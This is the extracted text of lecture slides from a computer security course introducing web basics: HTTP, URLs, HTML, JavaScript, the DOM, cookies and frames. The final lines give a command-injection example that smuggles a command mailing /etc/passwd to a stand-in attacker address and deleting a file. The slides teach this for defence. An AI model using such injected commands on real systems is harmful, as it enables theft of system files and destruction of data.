Web Security: Background
CS 161: Computer Security
- Prof. Vern Paxson
Web Security: Background CS 161: Computer Security Prof. Vern Paxson - - PowerPoint PPT Presentation
Web Security: Background CS 161: Computer Security Prof. Vern Paxson TAs: Paul Bramsen, Apoorva Dornadula, David Fifield, Mia Gil Epner, David Hahn, Warren He, Grant Ho, Frank Li, Nathan Malkin, Mitar Milutinovic, Rishabh Poddar, Rebecca
A platform for deploying applications and sharing information, portably and securely
client browser web server
(?)
WEB SERVER CLIENT BROWSER
HTTP REQUEST: GET /account.html HTTP/1.1 Host: www.safebank.com HTTP RESPONSE: HTTP/1.0 200 OK <HTML> . . . </HTML>
Accounts Bill Pay Mail Transfers
Alice Smith
safebank.com/account.html
Example:
http://safebank.com:81/account?id=10#statement
Protocol Hostname Port Path Query Fragment
WEB SERVER CLIENT BROWSER
HTTP REQUEST: GET /account.html HTTP/1.1 Host: www.safebank.com HTTP RESPONSE: HTTP/1.0 200 OK <HTML> . . . </HTML>
Accounts Bill Pay Mail Transfers
Alice Smith
safebank.com/account.html
GET /index.html GET /index.html HTTP/1.1 HTTP/1.1 Accept: Accept: image/gif, image/x-bitmap, image/gif, image/x-bitmap, image/jpeg, */* image/jpeg, */* Accept-Language: Accept-Language: en en Connection: Connection: Keep-Alive Keep-Alive User-Agent: User-Agent: Chrome/21.0.1180.75 (Macintosh; Chrome/21.0.1180.75 (Macintosh; Intel Mac OS X 10_7_4) Intel Mac OS X 10_7_4) Host: Host: www.safebank.com www.safebank.com Referer Referer: : http:// http://www.google.com?q www.google.com?q=dingbats =dingbats
Method Path HTTP version Headers Data – none for GET Blank line
WEB SERVER CLIENT BROWSER
HTTP REQUEST: GET /account.html HTTP/1.1 Host: www.safebank.com HTTP RESPONSE: HTTP/1.0 200 OK <HTML> . . . </HTML>
Accounts Bill Pay Mail Transfers
Alice Smith
safebank.com/account.html
HTTP/1.0 200 OK HTTP/1.0 200 OK Date: Date: Sun, 12 Aug 2012 02:20:42 GMT Sun, 12 Aug 2012 02:20:42 GMT Server: Server: Microsoft-Internet-Information-Server/ Microsoft-Internet-Information-Server/ 5.0 5.0 Connection: Connection: keep-alive keep-alive Content-Type: Content-Type: text/html text/html Last-Modified: Last-Modified: Thu, 9 Aug 2012 17:39:05 GMT Thu, 9 Aug 2012 17:39:05 GMT Set-Cookie: Set-Cookie: session=44ebc991 Content-Length: Content-Length: 2543 2543 <HTML> This is web content formatted using <HTML> This is web content formatted using html </HTML> html </HTML>
HTTP version Status code Reason phrase Headers Data
Can be a webpage, image, audio, executable ...
“Cookie” – state that server asks client to store, and return in the future (discussed later)
index.html
<html> <body> <div> foo <a href="http://google.com">Go to Google!</a> </div> <form> <input type="text" /> <input type="radio" /> <input type="checkbox" /> </form> </body> </html>
index.css
p.serif { font-family: "Times New Roman", Times, serif; } p.sansserif { font-family: Arial, Helvetica, sans-serif; }
<script> function myFunction() { document.getElementById("demo").innerHTML = ”Text changed."; } </script>
WEB SERVER CLIENT BROWSER
HTTP REQUEST: GET /account.html HTTP/1.1 Host: www.safebank.com HTTP RESPONSE: HTTP/1.1 200 OK <HTML> . . . </HTML>
Accounts Bill Pay Mail Transfers
Alice Smith
safebank.com/account.html
webpage
|-> Document |-> Element (<html>) |-> Element (<body>) |-> Element (<div>) |-> text node |-> Form |-> Text-box |-> Radio Button |-> Check Box
DOM Tree HTML
<html> <body> <div> foo </div> <form> <input type="text” /> <input type=”radio” /> <input type=”checkbox” /> </form> </body> </html>
<p id="demo">JavaScript can change HTML content.</p> <button type="button"
'Hello JavaScript!'"> Click Me!</button>
var x = document.cookie;
document.cookie = "username=John Smith; expires=Thu, 18 Dec 2013 12:00:00 UTC; path=/";
src = google.com/… name = awglogin
inner page
– Brings together content from multiple sources – Client-side aggregation
– Frame can draw only inside its own rectangle
src = 7.gmodules.com/... name = remote_iframe_7
wikipedia.org bankofamerica.com browser:
wikipedia.org wikipedia.org browser:
– and returns stdout to the user
%20 is an escape sequence that expands to a space (' ')
⇒ "grep foo x; mail -s hacker@evil.com </etc/passwd; rm phonebook.txt"
⇒ "grep foo x; mail -s hacker@evil.com </etc/passwd; rm phonebook.txt"